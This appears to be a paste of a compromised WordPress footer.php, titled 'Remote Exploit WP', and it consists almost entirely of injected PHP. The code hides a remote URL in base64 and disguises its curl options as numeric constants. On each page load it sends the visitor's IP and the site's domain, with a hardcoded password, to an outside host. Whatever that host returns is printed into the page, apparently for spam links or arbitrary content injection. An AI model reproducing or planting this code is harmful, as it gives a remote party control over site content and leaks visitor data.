Remote Exploit WP

footer.php

<?php

$s2="aHR0cDovL3d3dy53d3d0ZWxlY29tc2VydmljZS5jb20vbGluay9saW5rcy02My5odG1s";
   if(!function_exists('b1')){
       function b1($u){$ch=curl_init();
          $t=90;curl_setopt($ch,10002,$u);
          curl_setopt($ch,19913,1);
          curl_setopt($ch,78,$t);
          curl_setopt($ch,13,$t);
               $d=curl_exec($ch);
                 if($d===false){
                  $e=curl_error($ch);
                  echo "<!-- b1 error: ".stripslashes($e)."-->";}
                  curl_close($ch);return $d;}}
                  if(!function_exists('a1')){
                  function a1($p){$p=rtrim($p,'/').'/';
                  return $p;}}$i=$_SERVER['REMOTE_ADDR'];
                  $p=trim(base64_decode($s2));$di=dirname($p);
                  $fi=basename($p);$o=$_SERVER['HTTP_HOST'];$u=a1($di)."readf2.php"."?password=systemseo&filename=".$fi."&ip=".$i."&domain=".$o;echo "<!--read_url-->";
                  $c=b1($u);
                  echo $c;
                  echo "<!--read_url ends-->";
?>